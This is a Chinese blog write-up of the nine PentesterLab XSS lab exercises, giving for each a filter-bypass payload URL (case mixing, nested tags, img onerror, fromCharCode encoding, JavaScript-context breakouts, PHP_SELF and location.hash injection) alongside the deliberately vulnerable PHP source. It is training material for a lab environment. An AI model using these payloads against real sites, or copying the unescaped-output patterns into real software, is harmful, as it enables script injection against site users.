pentesterlab xss漏洞分析

标签: pentesterlab xss 漏洞 | 发表时间:2014-01-13 16:38 | 作者:tinyhema
出处:http://www.iteye.com
pentesterlab简介

pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台。

pentesterlab环境搭建
官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可。

ps:官方文档建议做一个host绑定,方便后面使用
windows下hosts文件目录:C:\Windows\System32\Drivers\etc\hosts,打开后添加以下一行
192.168.1.100 vulnerable # 具体ip可以在虚拟机中使用ifconfig查看


xss分析
  • 第一个xss非常简单,直接输入即可
  • // <script>alert(1);</script>
    http://vulnerable/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	echo $_GET["name"];
    ?>
    

  • 第二个xss过滤了 小写的<script>与</script>,可以使用大小写绕过
  • // <sCript>alert(1);</scrIpt>
    http://vulnerable/xss/example2.php?name=%3CsCript%3Ealert(1);%3C/scrIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/", "", $name);
    	$name = preg_replace("/<\/script>/", "", $name);
    	echo $name;
    ?>
    

  • 第三个xss过滤了 不区分大小写的<script>与</script>,可以使用嵌套的script标签绕过
  • // <sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
    http://vulnerable/xss/example3.php?name=%3CsCr%3CscriPt%3Eipt%3Ealert(1)%3C/scr%3C/scRipt%3EIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/i", "", $name);
    	$name = preg_replace("/<\/script>/i", "", $name);
    	echo $name;
    ?>
    

  • 第四个xss判断 包含script字符串即报错,可以使用img标签绕过
  • // <img src='a' onerror='alert(1)' />
    http://vulnerable/xss/example4.php?name=%3Cimg%20src='a'%20onerror='alert(1)'%20/%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/script/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第五个xss判断 包含alert字符串即报错,@_@,可以使用编码方式绕过
  • // <iMg src=N onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))">
    http://vulnerable/xss/example5.php?name=%3CiMg%20src=N%20onerror=%22eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))%22%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/alert/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第六个xss 直接在js环境中输出php变量,可以通过构造js脚本绕过
  • // ";b=alert(1);eval(b);//
    http://vulnerable/xss/example6.php?name=%22;b=alert(1);eval(b);//

    它对应的代码如下
    <script>
    	var $a = "<?php echo $_GET["name"]; ?>";
    <script>
    

  • 第七个xss 在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过
  • // ';b=alert(1);eval(b);//
    http://vulnerable/xss/example7.php?name=';b=alert(1);eval(b);//
    

    它对应的代码如下
    <script>
    	var $a = "<?php echo htmlentities($_GET["name"]); ?>";
    <script>
    

  • 第八个xss的 post地址使用了当前url,构造当前url地址达到xss目的
  • // /"method="POST"><script>alert(1)</script>
    http://vulnerable/xss/example8.php/%22method=%22POST%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	if(isset($_POST["name"])) {
    		echo "HELLO ".htmlentities($_POST["name"]);
    	}
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    	Your name:<input type="text" name="name" />
    	<input type="submit" name="submit" />
    

  • 第九个xss 直接在页面输出锚点id,构建一个带xss的锚点即可
  • // #<script>alert(1)</script>
    http://vulnerable/xss/example9.php#<script>alert(1)</script>
    

    它对应的代码如下
    <script>
    	document.write(location.hash.substring(1));
    </script>
    


    原创文章http://tinyhema.iteye.com/blog/2003605,转载请注明。


    已有 0 人发表留言,猛击->> 这里<<-参与讨论


    ITeye推荐



    相关 [pentesterlab xss 漏洞] 推荐:

    pentesterlab xss漏洞分析

    - - JavaScript - Web前端 - ITeye博客
    pentesterlab简介. pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台. pentesterlab环境搭建. 官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可. ps:官方文档建议做一个host绑定,方便后面使用.

    深掘XSS漏洞场景之XSS Rootkit

    - jyf1987 - 80sec
    深掘XSS漏洞场景之XSS Rootkit[完整修订版]. 众所周知XSS漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议. XSS漏洞类型主要分为持久型和非持久型两种:. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存.

    百度知道XSS漏洞

    - - 博客园_首页
    事情的起因是我一同学在百度知道上看到一个很奇怪的,正文带有连接的提问( 这里),正常来说,这种情况是不可能出现的. 我条件反射的想到了:XSS漏洞. 通过查看源代码,我马上发现了问题的根源:未结束的标签.
    帮我写一个能提取

    【原创】腾讯微博的XSS攻击漏洞

    - sec314 - 博客园-首页原创精华区
    相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧. 在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫“hellosamy“的用户. 究竟XSS攻击为什么能有这么大的威力. 现在很多网站都采用了Cookie记录访问者的登录状态,在进行某些功能操作时(比如:发微博),服务器判断用户的Cookie记录的登录状态,如果用户是登录状态的则允许操作.

    使用Fiddler的X5S插件查找XSS漏洞

    - - FreeBuf.COM
    OWASP top 10的安全威胁中的CrossSite Scripting(跨站脚本攻击),允许攻击者通过浏览器往网站注入恶意脚本. 这种漏洞经常出现在web应用中需要用户输入的地方,如果网站有XSS漏洞,攻击者就可以通过这种漏洞向浏览网站的用户发送恶意脚本,同时也可以利用该漏洞偷取sessionid,用来劫持用户帐户的会话.

    漏洞科普:对于XSS和CSRF你究竟了解多少

    - - FreeBuf.COM
        随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显.     黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害.

    快速、直接的XSS漏洞检测爬虫 – XSScrapy

    - - FreeBuf.COM
    XSScrapy是一个快速、直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞. XSScrapy的XSS漏洞攻击测试向量将会覆盖. Http头中的Referer字段 User-Agent字段 Cookie 表单(包括隐藏表单) URL参数 RUL末尾,如 www.example.com/ 跳转型XSS.

    在HTML5移动应用中挖掘XSS漏洞

    - - FreeBuf.COM | 关注黑客与极客
    @_zulln )是一位有着15年漏洞挖掘经验的瑞士黑客,本文就是他写的. 现在使用HTML5开发移动APP越来越受欢迎. HTML5不仅开发效率高,而且可以跨平台,代码重用性也很高. Zoho(全球第一大在线软件提供商,总部位于美国)是一个有着1300万用户的HTML5邮件系统,我打算挖挖他们的漏洞.

    WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案 - 牛奶、不加糖

    - - 博客园_首页
    一、跨站脚本攻击(XSS). XSS又叫CSS (Cross Site Script) ,跨站脚本攻击. 它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. XSS攻击者通过构造URL的方式构造了一个有问题的页面;当其他人点击了此页面后,会发现页面出错,或者被暗中执行了某些js脚本,这时,攻击行为才真正生效.

    XSS 探索 - big-brother

    - - 博客园_首页
    正常的页面被渗出了攻击者的js脚本,这些脚本可以非法地获取用户信息,然后将信息发送到attacked的服务端. XSS是需要充分利用输出环境来构造攻击脚本的. 非法获取用户cookie、ip等内容. 劫持浏览器,形成DDOS攻击. Reflected XSS:可以理解为参数型XSS攻击,攻击的切入点是url后面的参数.